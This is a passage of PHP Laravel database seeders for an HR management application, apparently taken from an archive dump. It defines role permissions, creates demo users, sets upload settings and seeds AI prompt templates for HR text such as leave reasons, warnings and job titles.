Type"], ["name" => "Manage Goal Tracking"], ["name" => "Create Goal Tracking"], ["name" => "Edit Goal Tracking"], ["name" => "Delete Goal Tracking"], ["name" => "Manage Company Policy"], ["name" => "Create Company Policy"], ["name" => "Edit Company Policy"], ["name" => "Delete Company Policy"], ["name" => "Manage Trainer"], ["name" => "Create Trainer"], ["name" => "Edit Trainer"], ["name" => "Delete Trainer"], ["name" => "Show Trainer"], ["name" => "Manage Training"], ["name" => "Create Training"], ["name" => "Edit Training"], ["name" => "Delete Training"], ["name" => "Show Training"], ["name" => "Manage Training Type"], ["name" => "Create Training Type"], ["name" => "Edit Training Type"], ["name" => "Delete Training Type"], ["name" => "Manage Report"], ["name" => "Manage Holiday"], ["name" => "Create Holiday"], ["name" => "Edit Holiday"], ["name" => "Delete Holiday"], ["name" => "Manage Job Category"], ["name" => "Create Job Category"], ["name" => "Edit Job Category"], ["name" => "Delete Job Category"], ["name" => "Manage Job Stage"], ["name" => "Create Job Stage"], ["name" => "Edit Job Stage"], ["name" => "Delete Job Stage"], ["name" => "Manage Job"], ["name" => "Create Job"], ["name" => "Edit Job"], ["name" => "Delete Job"], ["name" => "Show Job"], ["name" => "Manage Job Application"], ["name" => "Create Job Application"], ["name" => "Edit Job Application"], ["name" => "Delete Job Application"], ["name" => "Show Job Application"], ["name" => "Move Job Application"], ["name" => "Add Job Application Note"], ["name" => "Delete Job Application Note"], ["name" => "Add Job Application Skill"], ["name" => "Manage Job OnBoard"], ["name" => "Manage Custom Question"], ["name" => "Create Custom Question"], ["name" => "Edit Custom Question"], ["name" => "Delete Custom Question"], ["name" => "Manage Interview Schedule"], ["name" => "Create Interview Schedule"], ["name" => "Edit Interview Schedule"], ["name" => "Delete Interview Schedule"], ["name" => "Manage Career"], ["name" => "Manage Competencies"], ["name" => "Create Competencies"], ["name" => "Edit Competencies"], ["name" => "Delete Competencies"], ["name" => "Manage Performance Type"], ["name" => "Create Performance Type"], ["name" => "Edit Performance Type"], ["name" => "Delete Performance Type"], ["name" => "Manage Contract Type"], ["name" => "Create Contract Type"], ["name" => "Edit Contract Type"], ["name" => "Delete Contract Type"], ["name" => "Manage Contract"], ["name" => "Create Contract"], ["name" => "Edit Contract"], ["name" => "Delete Contract"], ["name" => "Store Note"], ["name" => "Delete Note"], ["name" => "Store Comment"], ["name" => "Delete Comment"], ["name" => "Delete Attachment"], ["name" => "Create Webhook"], ["name" => "Edit Webhook"], ["name" => "Delete Webhook"], ["name" => "Manage Zoom meeting"], ["name" => "Create Zoom meeting"], ["name" => "Show Zoom meeting"], ["name" => "Delete Zoom meeting"], ["name" => "Manage Biometric Attendance"], ["name" => "Biometric Attendance Synchronize"], ]; $companyRole->givePermissionTo($companyPermissions); $company = User::create( [ 'name' => 'company', 'email' => 'company@example.com', 'password' => Hash::make('1234'), 'email_verified_at' => date("Y-m-d H:i:s"), 'type' => 'company', 'lang' => 'en', 'avatar' => '', 'plan' => 1, 'created_by' => $superAdmin->id, ] ); $company->assignRole($companyRole); // HR $hrRole = Role::create( [ 'name' => 'hr', 'created_by' => $company->id, ] ); $hrPermission = [ ["name" => "Manage Language"], ["name" => "Manage User"], ["name" => "Create User"], ["name" => "Edit User"], ["name" => "Delete User"], ["name" => "Manage Award"], ["name" => "Create Award"], ["name" => "Edit Award"], ["name" => "Delete Award"], ["name" => "Manage Transfer"], ["name" => "Create Transfer"], ["name" => "Edit Transfer"], ["name" => "Delete Transfer"], ["name" => "Manage Resignation"], ["name" => "Create Resignation"], ["name" => "Edit Resignation"], ["name" => "Delete Resignation"], ["name" => "Manage Travel"], ["name" => "Create Travel"], ["name" => "Edit Travel"], ["name" => "Delete Travel"], ["name" => "Manage Promotion"], ["name" => "Create Promotion"], ["name" => "Edit Promotion"], ["name" => "Delete Promotion"], ["name" => "Manage Complaint"], ["name" => "Create Complaint"], ["name" => "Edit Complaint"], ["name" => "Delete Complaint"], ["name" => "Manage Warning"], ["name" => "Create Warning"], ["name" => "Edit Warning"], ["name" => "Delete Warning"], ["name" => "Manage Termination"], ["name" => "Create Termination"], ["name" => "Edit Termination"], ["name" => "Delete Termination"], ["name" => "Manage Department"], ["name" => "Create Department"], ["name" => "Edit Department"], ["name" => "Delete Department"], ["name" => "Manage Designation"], ["name" => "Create Designation"], ["name" => "Edit Designation"], ["name" => "Delete Designation"], ["name" => "Manage Document Type"], ["name" => "Create Document Type"], ["name" => "Edit Document Type"], ["name" => "Delete Document Type"], ["name" => "Manage Branch"], ["name" => "Create Branch"], ["name" => "Edit Branch"], ["name" => "Delete Branch"], ["name" => "Manage Award Type"], ["name" => "Create Award Type"], ["name" => "Edit Award Type"], ["name" => "Delete Award Type"], ["name" => "Manage Termination Type"], ["name" => "Create Termination Type"], ["name" => "Edit Termination Type"], ["name" => "Delete Termination Type"], ["name" => "Manage Employee"], ["name" => "Create Employee"], ["name" => "Edit Employee"], ["name" => "Delete Employee"], ["name" => "Show Employee"], ["name" => "Manage Payslip Type"], ["name" => "Create Payslip Type"], ["name" => "Edit Payslip Type"], ["name" => "Delete Payslip Type"], ["name" => "Manage Allowance Option"], ["name" => "Create Allowance Option"], ["name" => "Edit Allowance Option"], ["name" => "Delete Allowance Option"], ["name" => "Manage Loan Option"], ["name" => "Create Loan Option"], ["name" => "Edit Loan Option"], ["name" => "Delete Loan Option"], ["name" => "Manage Deduction Option"], ["name" => "Create Deduction Option"], ["name" => "Edit Deduction Option"], ["name" => "Delete Deduction Option"], ["name" => "Manage Set Salary"], ["name" => "Create Set Salary"], ["name" => "Edit Set Salary"], ["name" => "Delete Set Salary"], ["name" => "Manage Allowance"], ["name" => "Create Allowance"], ["name" => "Edit Allowance"], ["name" => "Delete Allowance"], ["name" => "Create Commission"], ["name" => "Create Loan"], ["name" => "Create Saturation Deduction"], ["name" => "Create Other Payment"], ["name" => "Create Overtime"], ["name" => "Edit Commission"], ["name" => "Delete Commission"], ["name" => "Edit Loan"], ["name" => "Delete Loan"], ["name" => "Edit Saturation Deduction"], ["name" => "Delete Saturation Deduction"], ["name" => "Edit Other Payment"], ["name" => "Delete Other Payment"], ["name" => "Edit Overtime"], ["name" => "Delete Overtime"], ["name" => "Manage Pay Slip"], ["name" => "Create Pay Slip"], ["name" => "Edit Pay Slip"], ["name" => "Delete Pay Slip"], ["name" => "Manage Event"], ["name" => "Create Event"], ["name" => "Edit Event"], ["name" => "Delete Event"], ["name" => "Manage Announcement"], ["name" => "Create Announcement"], ["name" => "Edit Announcement"], ["name" => "Delete Announcement"], ["name" => "Manage Leave Type"], ["name" => "Create Leave Type"], ["name" => "Edit Leave Type"], ["name" => "Delete Leave Type"], ["name" => "Manage Leave"], ["name" => "Create Leave"], ["name" => "Edit Leave"], ["name" => "Delete Leave"], ["name" => "Manage Meeting"], ["name" => "Create Meeting"], ["name" => "Edit Meeting"], ["name" => "Delete Meeting"], ["name" => "Manage Ticket"], ["name" => "Create Ticket"], ["name" => "Edit Ticket"], ["name" => "Delete Ticket"], ["name" => "Manage Attendance"], ["name" => "Create Attendance"], ["name" => "Edit Attendance"], ["name" => "Delete Attendance"], ["name" => "Manage TimeSheet"], ["name" => "Create TimeSheet"], ["name" => "Edit TimeSheet"], ["name" => "Delete TimeSheet"], ["name" => 'Manage Assets'], ["name" => 'Create Assets'], ["name" => 'Edit Assets'], ["name" => 'Delete Assets'], ["name" => 'Manage Document'], ["name" => 'Manage Employee Profile'], ["name" => 'Show Employee Profile'], ["name" => 'Manage Employee Last Login'], ["name" => 'Manage Indicator'], ["name" => 'Create Indicator'], ["name" => 'Edit Indicator'], ["name" => 'Delete Indicator'], ["name" => 'Show Indicator'], ["name" => 'Manage Appraisal'], ["name" => 'Create Appraisal'], ["name" => 'Edit Appraisal'], ["name" => 'Delete Appraisal'], ["name" => 'Show Appraisal'], ["name" => "Manage Goal Type"], ["name" => "Create Goal Type"], ["name" => "Edit Goal Type"], ["name" => "Delete Goal Type"], ["name" => "Manage Goal Tracking"], ["name" => "Create Goal Tracking"], ["name" => "Edit Goal Tracking"], ["name" => "Delete Goal Tracking"], ["name" => "Manage Company Policy"], ["name" => "Create Company Policy"], ["name" => "Edit Company Policy"], ["name" => "Delete Company Policy"], ["name" => "Manage Trainer"], ["name" => "Create Trainer"], ["name" => "Edit Trainer"], ["name" => "Delete Trainer"], ["name" => "Show Trainer"], ["name" => "Manage Training"], ["name" => "Create Training"], ["name" => "Edit Training"], ["name" => "Delete Training"], ["name" => "Show Training"], ["name" => "Manage Training Type"], ["name" => "Create Training Type"], ["name" => "Edit Training Type"], ["name" => "Delete Training Type"], ["name" => "Manage Holiday"], ["name" => "Create Holiday"], ["name" => "Edit Holiday"], ["name" => "Delete Holiday"], ["name" => "Manage Job Category"], ["name" => "Create Job Category"], ["name" => "Edit Job Category"], ["name" => "Delete Job Category"], ["name" => "Manage Job Stage"], ["name" => "Create Job Stage"], ["name" => "Edit Job Stage"], ["name" => "Delete Job Stage"], ["name" => "Manage Job"], ["name" => "Create Job"], ["name" => "Edit Job"], ["name" => "Delete Job"], ["name" => "Show Job"], ["name" => "Manage Job Application"], ["name" => "Create Job Application"], ["name" => "Edit Job Application"], ["name" => "Delete Job Application"], ["name" => "Show Job Application"], ["name" => "Move Job Application"], ["name" => "Add Job Application Note"], ["name" => "Delete Job Application Note"], ["name" => "Add Job Application Skill"], ["name" => "Manage Job OnBoard"], ["name" => "Manage Custom Question"], ["name" => "Create Custom Question"], ["name" => "Edit Custom Question"], ["name" => "Delete Custom Question"], ["name" => "Manage Interview Schedule"], ["name" => "Create Interview Schedule"], ["name" => "Edit Interview Schedule"], ["name" => "Delete Interview Schedule"], ["name" => "Manage Career"], ["name" => "Manage Performance Type"], ["name" => "Create Performance Type"], ["name" => "Edit Performance Type"], ["name" => "Delete Performance Type"], ["name" => "Manage Contract"], ["name" => "Create Contract"], ["name" => "Edit Contract"], ["name" => "Delete Contract"], ["name" => "Store Note"], ["name" => "Delete Note"], ["name" => "Store Comment"], ["name" => "Delete Comment"], ["name" => "Delete Attachment"], ["name" => "Manage Contract Type"], ["name" => "Create Contract Type"], ["name" => "Edit Contract Type"], ["name" => "Delete Contract Type"], ["name" => "Manage Zoom meeting"], ["name" => "Show Zoom meeting"], ["name" => "Manage Biometric Attendance"], ["name" => "Biometric Attendance Synchronize"], ]; $hrRole->givePermissionTo($hrPermission); $hr = User::create( [ 'name' => 'hr', 'email' => 'hr@example.com', 'password' => Hash::make('1234'), 'email_verified_at' => date("Y-m-d H:i:s"), 'type' => 'hr', 'lang' => 'en', 'avatar' => '', 'created_by' => $company->id, ] ); $hr->assignRole($hrRole); //Employee $employeeRole = Role::create( [ 'name' => 'employee', 'created_by' => $company->id, ] ); $employeePermission = [ ["name" => "Manage Award"], ["name" => "Manage Transfer"], ["name" => "Manage Resignation"], ["name" => "Create Resignation"], ["name" => "Edit Resignation"], ["name" => "Delete Resignation"], ["name" => "Manage Travel"], ["name" => "Manage Promotion"], ["name" => "Manage Complaint"], ["name" => "Create Complaint"], ["name" => "Edit Complaint"], ["name" => "Delete Complaint"], ["name" => "Manage Warning"], ["name" => "Create Warning"], ["name" => "Edit Warning"], ["name" => "Delete Warning"], ["name" => "Manage Termination"], ["name" => "Manage Employee"], ["name" => "Edit Employee"], ["name" => "Show Employee"], ["name" => "Manage Allowance"], ["name" => "Manage Event"], ["name" => "Manage Announcement"], ["name" => "Manage Leave"], ["name" => "Create Leave"], ["name" => "Edit Leave"], ["name" => "Delete Leave"], ["name" => "Manage Meeting"], ["name" => "Manage Ticket"], ["name" => "Create Ticket"], ["name" => "Edit Ticket"], ["name" => "Delete Ticket"], ["name" => "Manage Language"], ["name" => "Manage TimeSheet"], ["name" => "Create TimeSheet"], ["name" => "Edit TimeSheet"], ["name" => "Delete TimeSheet"], ["name" => "Manage Attendance"], ["name" => 'Manage Document'], ["name" => "Manage Holiday"], ["name" => "Manage Career"], ["name" => "Manage Contract"], ["name" => "Store Note"], ["name" => "Delete Note"], ["name" => "Store Comment"], ["name" => "Delete Comment"], ["name" => "Delete Attachment"], ["name" => "Manage Zoom meeting"], ["name" => "Show Zoom meeting"], ]; $employeeRole->givePermissionTo($employeePermission); GenerateOfferLetter::defaultOfferLetter(); ExperienceCertificate::defaultExpCertificat(); JoiningLetter::defaultJoiningLetter(); NOC::defaultNocCertificate(); Utility::languagecreate(); Utility::jobStage($company->id); $company->defaultEmail(); $company::userDefaultData(); $company->userDefaultDataRegister($company->id); $data = [ ['name' => 'local_storage_validation', 'value' => 'jpg,jpeg,png,xlsx,xls,csv,pdf', 'created_by' => 1, 'created_at' => now(), 'updated_at' => now()], ['name' => 'wasabi_storage_validation', 'value' => 'jpg,jpeg,png,xlsx,xls,csv,pdf', 'created_by' => 1, 'created_at' => now(), 'updated_at' => now()], ['name' => 's3_storage_validation', 'value' => 'jpg,jpeg,png,xlsx,xls,csv,pdf', 'created_by' => 1, 'created_at' => now(), 'updated_at' => now()], ['name' => 'local_storage_max_upload_size', 'value' => 2048000, 'created_by' => 1, 'created_at' => now(), 'updated_at' => now()], ['name' => 'wasabi_max_upload_size', 'value' => 2048000, 'created_by' => 1, 'created_at' => now(), 'updated_at' => now()], ['name' => 's3_max_upload_size', 'value' => 2048000, 'created_by' => 1, 'created_at' => now(), 'updated_at' => now()], ['name' => 'storage_setting', 'value' => 'local', 'created_by' => 1, 'created_at' => now(), 'updated_at' => now()] ]; \DB::table('settings')->insert($data); } } index.php000064400000000000150364316420006356 0ustar00DatabaseSeeder.php000064400000001343150364316420010116 0ustar00getName() != 'LaravelUpdater::database') { $this->call(UsersTableSeeder::class); $this->call(PlansTableSeeder::class); $this->call(NotificationSeeder::class); $this->call(AiTemplateSeeder::class); } else { Utility::languagecreate(); } } } AiTemplateSeeder.php000064400000132702150364316420010443 0ustar00 'title', 'prompt' => "Generate a comma-separated string of common leave reasons that employees may provide to their employers. Include both personal and professional reasons for taking leave, such only ##title## . Aim to generate a diverse range of leave reasons that can be used in different situations. Please provide a comprehensive and varied list of leave reasons that can help employers understand and accommodate their employees' needs.", 'module' => 'allowance', 'field_json' => '{"field":[{"label":"Allowance Title","placeholder":"e.g.Medical Allowance, Bonus Allowance","field_type":"text_box","field_name":"title"}]}', 'is_tone' => '0', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'title', 'prompt' => "Generate a comma-separated string of common leave reasons that employees may provide to their employers. Include both personal and professional reasons for taking leave, such only ##title## . Aim to generate a diverse range of leave reasons that can be used in different situations. Please provide a comprehensive and varied list of leave reasons that can help employers understand and accommodate their employees' needs.", 'module' => 'commission', 'field_json' => '{"field":[{"label":"Commission Title","placeholder":"e.g.Sales Commission, Bonus Commission","field_type":"text_box","field_name":"title"}]}', 'is_tone' => '0', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'title', 'prompt' => "Generate a comma-separated string of common leave reasons that employees may provide to their employers. Include both personal and professional reasons for taking leave, such only ##title## . Aim to generate a diverse range of leave reasons that can be used in different situations. Please provide a comprehensive and varied list of leave reasons that can help employers understand and accommodate their employees' needs.", 'module' => 'loan', 'field_json' => '{"field":[{"label":"Loan Title","placeholder":"e.g.Sales Training Loan, Other Loan","field_type":"text_box","field_name":"title"}]}', 'is_tone' => '0', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'reason', 'prompt' => "Generate a comma-separated string of common loan reasons that employees may provide to their employers. Include both personal and professional reasons for taking loan, such only ##reason## . Aim to generate a diverse range of loan reasons that can be used in different situations. Please provide a comprehensive and varied list of loan reasons that can help employers understand and accommodate their employees' needs.", 'module' => 'loan', 'field_json' => '{"field":[{"label":"Leave Reason","placeholder":"e.g.career development,health issues","field_type":"textarea","field_name":"reason"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'title', 'prompt' => "Generate a comma-separated string of common leave reasons that employees may provide to their employers. Include both personal and professional reasons for taking leave, such only ##title## . Aim to generate a diverse range of leave reasons that can be used in different situations. Please provide a comprehensive and varied list of leave reasons that can help employers understand and accommodate their employees' needs.", 'module' => 'saturation deduction', 'field_json' => '{"field":[{"label":"Saturation Deduction Title","placeholder":"e.g.Saturation Deduction","field_type":"text_box","field_name":"title"}]}', 'is_tone' => '0', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'title', 'prompt' => "Generate a comma-separated string of common leave reasons that employees may provide to their employers. Include both personal and professional reasons for taking leave, such only ##title## . Aim to generate a diverse range of leave reasons that can be used in different situations. Please provide a comprehensive and varied list of leave reasons that can help employers understand and accommodate their employees' needs.", 'module' => 'other payment', 'field_json' => '{"field":[{"label":"Other Payment Title","placeholder":"e.g.Bonus Payment, Allowance Payment","field_type":"text_box","field_name":"title"}]}', 'is_tone' => '0', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'title', 'prompt' => "Generate a comma-separated string of common leave reasons that employees may provide to their employers. Include both personal and professional reasons for taking leave, such only ##title## . Aim to generate a diverse range of leave reasons that can be used in different situations. Please provide a comprehensive and varied list of leave reasons that can help employers understand and accommodate their employees' needs.", 'module' => 'overtime', 'field_json' => '{"field":[{"label":"Overtime Title","placeholder":"e.g.Overtime Pay, Overtime Earnings","field_type":"text_box","field_name":"title"}]}', 'is_tone' => '0', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'remark', 'prompt' => "Generate a comma-separated string of common loan reasons that employees may provide to their employers. Include both personal and professional reasons for taking loan, such only ##remark## . Aim to generate a diverse range of loan reasons that can be used in different situations. Please provide a comprehensive and varied list of loan reasons that can help employers understand and accommodate their employees' needs.", 'module' => 'timesheet', 'field_json' => '{"field":[{"label":"Timesheet Remark","placeholder":"e.g.Project Update,Time Management","field_type":"textarea","field_name":"reason"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'leave_reason', 'prompt' => "Generate a comma-separated string of common leave reasons that employees may provide to their employers. Include both personal and professional reasons for taking leave, such only ##leave_reason## . Aim to generate a diverse range of leave reasons that can be used in different situations. Please provide a comprehensive and varied list of leave reasons that can help employers understand and accommodate their employees' needs.", 'module' => 'leave', 'field_json' => '{"field":[{"label":"Leave Type","placeholder":"e.g.illness, family emergencies,vacation","field_type":"textarea","field_name":"leave_reason"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'remark', 'prompt' => "Generate a comma-separated string of common leave reasons that employees may provide to their employers. Include both personal and professional reasons for taking leave, such only ##remark## . Aim to generate a diverse range of leave reasons that can be used in different situations. Please provide a comprehensive and varied list of leave reasons that can help employers understand and accommodate their employees' needs.", 'module' => 'leave', 'field_json' => '{"field":[{"label":"Leave Remark","placeholder":"e.g.illness, family emergencies,vacation","field_type":"textarea","field_name":"remark"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'remark', 'prompt' => "Generate a comma-separated string of common leave reasons that employees may provide to their employers. Include both personal and professional reasons for taking leave, such only ##remark## . Aim to generate a diverse range of leave reasons that can be used in different situations. Please provide a comprehensive and varied list of leave reasons that can help employers understand and accommodate their employees' needs.", 'module' => 'appraisal', 'field_json' => '{"field":[{"label":"Appraisal Remark","placeholder":"e.g.Communication Skills, Teamwork","field_type":"textarea","field_name":"remark"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'subject', 'prompt' => "Generate a goal subject for an employee's goal related type to ##type##.", 'module' => 'goal tracking', 'field_json' => '{"field":[{"label":"Goal Type","placeholder":"e.g.invoice, production,hiring","field_type":"text_box","field_name":"type"}]}', 'is_tone' => '0', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'description', 'prompt' => "Generate a goal descriptions for an employee's goal title is ##title##.", 'module' => 'goal tracking', 'field_json' => '{"field":[{"label":"Goal Description","placeholder":"e.g.Invoice Accuracy","field_type":"textarea","field_name":"title"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'description', 'prompt' => "Generate a deposit descriptions for an employee's deposit title is ##title##.", 'module' => 'deposit', 'field_json' => '{"field":[{"label":"Deposit Description","placeholder":"e.g.Salary Deposit, Bonus Deposit","field_type":"textarea","field_name":"title"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'description', 'prompt' => "Generate a expense descriptions for an employee's expense title is ##title##.", 'module' => 'expense', 'field_json' => '{"field":[{"label":"Expense Description","placeholder":"e.g.Office Supplies, Travel Expenses","field_type":"textarea","field_name":"title"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'description', 'prompt' => "Generate a transfer balance descriptions for an employee's transfer balance title is ##title##.", 'module' => 'transfer balance', 'field_json' => '{"field":[{"label":"Transfer Balance Description","placeholder":"e.g.Savings Transfer","field_type":"textarea","field_name":"title"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'description', 'prompt' => "Generate a job training descriptions for a ##position## position. The training description should include responsibilities such as ##responsibilities##. Please ensure the descriptions are concise, informative, and accurately reflect the key responsibilities of a ##position##.", 'module' => 'training', 'field_json' => '{"field":[{"label":"Position","placeholder":"job training descriptions","field_type":"text_box","field_name":"position"},{"label":"Responsibilities","placeholder":"","field_type":"textarea","field_name":"responsibilities"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'description', 'prompt' => "Generate a description for presenting the Award. The description should highlight ##description##. Emphasize the significance of the Award as a symbol of recognition for employee's remarkable accomplishments and its representation of her '##description##' and impact on the organization. Please create a personalized and engaging description that conveys appreciation, pride, and gratitude for employee's contributions to the company's sucess", 'module' => 'award', 'field_json' => '{"field":[{"label":"Award Description","placeholder":"e.g.skilled, focused ,efficiency","field_type":"textarea","field_name":"description"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'description', 'prompt' => "Generate a list of common description for employee transfers within an organization. Include description such as ##description##. Please provide a comprehensive and varied list of description that can help employers understand and address employee transfer situations effectively.", 'module' => 'transfer', 'field_json' => '{"field":[{"label":"Transfer Description","placeholder":"e.g.career development,special projects or initiatives","field_type":"textarea","field_name":"description"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'description', 'prompt' => "Generate a description why an employee might choose to resign and request a transfer to another location within the company. Include both professional and personal reasons that could contribute to this decision. Examples may include ##reasons##. Aim to provide a comprehensive and varied description that can help employers understand and accommodate employees' needs when considering a transfer request", 'module' => 'resignation', 'field_json' => '{"field":[{"label":"Resignation reasons","placeholder":"e.g.career development,health issues","field_type":"textarea","field_name":"reasons"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'description', 'prompt' => "Generate a description for organizing a company trip. The trip aims to ##aims## . Please provide a diverse description that highlight the benefits and positive outcomes associated with organizing a company trip. Focus on creating an engaging and enjoyable experience for employees while also achieving business objectives and cultivating a positive work environment.", 'module' => 'travel', 'field_json' => '{"field":[{"label":"Aims","placeholder":"e.g.career development,health issues","field_type":"textarea","field_name":"aims"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'promotion_title', 'prompt' => "Generate a list of promotion title suggestions for an ##role##. The promotion titles should reflect ##reasons##, and recognition of the ##role##'s accomplishments. Please provide a diverse range of promotion titles that align with ##role## job roles and levels within the company. Aim to create titles that are both professional and descriptive, highlighting the ##role##'s progression and impact within the organization.", 'module' => 'promotion', 'field_json' => '{"field":[{"label":"Job","placeholder":"e.g.doctor, developer","field_type":"text_box","field_name":"role"},{"label":"Promotion Reasons","placeholder":"e.g.increased responsibility, higher position","field_type":"textarea","field_name":"reasons"}]}', 'is_tone' => '0', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'description', 'prompt' => "Generate a promotion description for this title:##title##. ", 'module' => 'promotion', 'field_json' => '{"field":[{"label":"Promotion Title","placeholder":"e.g.Medical Director","field_type":"text_box","field_name":"title"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'title', 'prompt' => "Generate a list of titles for complaints related to employee and company issues. ##reasons##. Please provide a range of titles that accurately reflect common complaint categories, ensuring they are concise, descriptive, and effective in conveying the nature of the complaint. ", 'module' => 'complaint', 'field_json' => '{"field":[{"label":"Complaint reasons","placeholder":"e.g.unprofessional behavior, harassment,","field_type":"textarea","field_name":"reasons"}]}', 'is_tone' => '0', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'description', 'prompt' => "Generate a Complaint description for this title:##title##. ", 'module' => 'complaint', 'field_json' => '{"field":[{"label":"Complaint Title","placeholder":"e.g.Unprofessional Behavior Complaint","field_type":"text_box","field_name":"title"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'subject', 'prompt' => "Generate a warning description for an employee who consistently ##subject##. The warning should address the employee's ##subject##, including further disciplinary action or termination of employment. Please provide a clear and firm warning message that encourages the employee to review the policy and make immediate improvements.", 'module' => 'warning', 'field_json' => '{"field":[{"label":"Warning Subject","placeholder":"e.g.break attendance policy","field_type":"text_box","field_name":"subject"}]}', 'is_tone' => '0', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'description', 'prompt' => "Generate a warning description for an employee who consistently ##reasons##. The warning should address the employee's ##reasons##, including further disciplinary action or termination of employment. Please provide a clear and firm warning message that encourages the employee to review the policy and make immediate improvements.", 'module' => 'warning', 'field_json' => '{"field":[{"label":"Warning reasons","placeholder":"e.g.break attendance policy","field_type":"textarea","field_name":"reasons"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'description', 'prompt' => "Generate a termination description for the reason :##reason##. The description should convey the company's regret over the decision and outline the specific concerns, such as ##reasons##. Please provide a clear and professional message that explains the decision while expressing appreciation for the employee's contributions. Aim to offer guidance for personal and professional growth and provide necessary instructions regarding final paycheck and return of company property.", 'module' => 'termination', 'field_json' => '{"field":[{"label":"Termination reasons","placeholder":"e.g.Poor Performance","field_type":"textarea","field_name":"reasons"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'title', 'prompt' => "Generate an announcement title for ##title##. The title should be attention-grabbing and informative, effectively conveying the key message to the intended audience. Please ensure the title is appropriate for the given situation, whether it's about a ##title##. Aim to create a title that captures the essence of the announcement and sparks interest or curiosity among the readers.", 'module' => 'announcement', 'field_json' => '{"field":[{"label":"Announcement Title","placeholder":"e.g.Growth Opportunities","field_type":"text_box","field_name":"title"}]}', 'is_tone' => '0', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'description', 'prompt' => "Generate an announcement title for ##reasons##. The title should be attention-grabbing and informative, effectively conveying the key message to the intended audience. Please ensure the title is appropriate for the given situation, whether it's about a ##reasons##. Aim to create a title that captures the essence of the announcement and sparks interest or curiosity among the readers.", 'module' => 'announcement', 'field_json' => '{"field":[{"label":"Announcement reasons","placeholder":"e.g.Growth Opportunities","field_type":"textarea","field_name":"reasons"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'occasion', 'prompt' => "Generate a list of holiday occasions for celebrations and gatherings. The occasions should cover a variety of holidays and events throughout the year, such as ##name##. Please provide a diverse range of occasions that can be used for hosting parties, organizing special events, or planning festive activities. Aim to offer unique and creative ideas that cater to different cultures, traditions, and preferences.", 'module' => 'holiday', 'field_json' => '{"field":[{"label":"Any Specific occasions","placeholder":"e.g.Cultural Celebration","field_type":"text_box","field_name":"name"}]}', 'is_tone' => '0', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'title', 'prompt' => "Generate a list of job titles commonly found in an ##work_place##. The job titles should cover a range of roles and responsibilities within the field of ##field##. Include positions such as ##positions##. Please provide a diverse selection of job titles that accurately reflect the various positions found in an ##work_place##.", 'module' => 'job', 'field_json' => '{"field":[{"label":"Work Place","placeholder":"e.g.IT Company,hospital","field_type":"text_box","field_name":"work_place"},{"label":"Field ","placeholder":"e.g.Backend","field_type":"text_box","field_name":"field"},{"label":"Positions","placeholder":"e.g.developer,tester","field_type":"text_box","field_name":"positions"}]}', 'is_tone' => '0', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'description', 'prompt' => "Generate 